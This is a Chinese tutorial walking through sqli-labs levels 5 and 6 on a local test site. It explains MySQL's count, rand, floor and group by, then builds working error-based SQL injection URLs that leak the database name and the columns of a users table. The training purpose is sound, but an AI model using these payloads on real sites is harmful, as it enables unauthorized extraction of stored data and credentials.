说明一下问什么没有less2、less3、less4的讲解?
前两篇如果你弄懂了,第2、3、4关卡原理都是一样的,无非是sql语句的稍微不同
比如:
第一关的sql语句是 select * from table where id= ‘number’
第二关的sql语句是 select * from table where id= number
第三关的sql语句是 select * from table where id= (‘number’)
第四关的sql语句是 select * from table where id= ‘‘number”
无非就是单引号、双引号、是不是有括号的区别,所用的攻击代码是一样(第二课有详细讲解了)。
Less5 和 less6 与前面四关的区别在于,不管ID的值怎么去改变,显示的也没永远是一样的。如图
Less1、less2、less3、less4 只要ID值被改变,页面会显示相对应的内容,也就是说我们执行sql查询语句以后,查询到的结果会显示到页面出来,所以载入我们的攻击代码后,页面也会显示出我们索想要的查询内容
而Less5 和 less6 如果我们怎么执行类似前4关的攻击代码sql语句,我们是没办法直接获取到我们想要的结果,因为页面只有一个提示。
如下图
那么,这种情况我们如何着手呢?
我们老规矩,输入一个单引号试试,
http://127.0.0.1/Less-5/?id=1'
同样是报错了,而且报错结果是跟第一关是一样的。
所以首先我们判断出sql语句为 select * from table where id= ‘number’
同时,我们有个想法,我们是不是能让这个页面报错的时候,顺便把我们想要获取的信息给它一起显示出来呢?
没错,接下来,我们就是要这么做。但在这之前,我们要先去学习一下mysql数据库的一些函数,利用这些函数,我们就可以达到我们想要的目的!
1 count()函数
MySQL的COUNT函数是最简单的功能,非常有用的计算,预计由一个SELECT语句返回的记录数。
我们可以通过count()函数 来查询某个tables的记录数
2 rand()
MySQL RAND()函数调用可 以在0和1之间产生一个随机数
3 group by
“Group By”从字面意义上理解就是根据“By”指定的规则对数据进行分组,所谓的分组就是将一个“数据集”划分成若干个“小区域”,然后针对若干个“小区域”进 行数据处理。
如图是依据 table_shcema 的首字母进行排序的
整个语句的解释为:从 information_schema.tables 里面获取到 table_name 和 table_schema 这两张表,然后依据 table_schema进行排序
那接下来的问题是,我们怎么样让sql错误爆出数据库的相关信息呢?
接着往下看
1 先选中当前的数据库 和 concat函数
0x3a主要是作为分割符号使用,通过concat 连接在一起。
为什么要加分割符号呢?主要是方便报错语句的时候让我们方便辨认
第二句多了个name,看结果就知道了,是为了把名字取短一些,用name表示
2 rand()和 floor()
rand上一步就介绍,floor()取整
3 可用该语句来查询数据库的表的数量
同样,也可以查询字段数量,只需稍微更改下语句中的informatio_schema.tables 为informatio_schema.columns
4 把上面的语句增加一个count()函数,该函数的作用前面有讲
select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()))name from information_schema.tables group by name;
再加上随机数rand()*2,意思是我们只取0 和1
select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))name from information_schema.tables group by name;
多次查询后会出错,怎么直接报错数据库名称,如图
接下来我们只要把database()换成我们要查询的语句,就可查处我们要的信息
Limit 1,1 第一行第一个
Limit 2,1 第二行第一个
从之前的学习中就可以看出,表的排列就是一行一个
整个流程清楚了,那么带上攻击语句,带入到我们的less5 中
提示:括号里的子查询只能输出1个字段,但是你的子查询使用了符号“*”。
所以再稍微修改一下
http://127.0.0.1/Less-5/?id=1'and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))name from information_schema.tables group by name ))--+
Every derived table must have its own alias
这句话的意思是说每个派生出来的表都必须有一个自己的别名
一般在多表查询时,会出现此错误。
因为,进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的, 所以子查询的结果必须要有一个别名
再修改一下语句
http://127.0.0.1/Less-5/?id=1'and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))name from information_schema.tables group by name )m)--+
结果如图
接下来就是查表名,字段名
通过更改limit 1,1
limit 3,1 为users表
我们测试 users
语句为
http://127.0.0.1/Less-5/?id=1'and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x3a,floor(rand()*2))name from information_schema.tables group by name )m)--+
字段为 username 和 password
第六关也一样,不过是单引号和双引号的区别,就不再做过多说明
Floor(rand()*2)这个知识点可以去百度一下为什么可以用来报错。
下面是链接,可以自己去试着理解
当然,让数据库报错还有很多方法,这边讲的只是常用的一种,这种方法理解了,其他的自然而然的看一下就明白了,一通百通。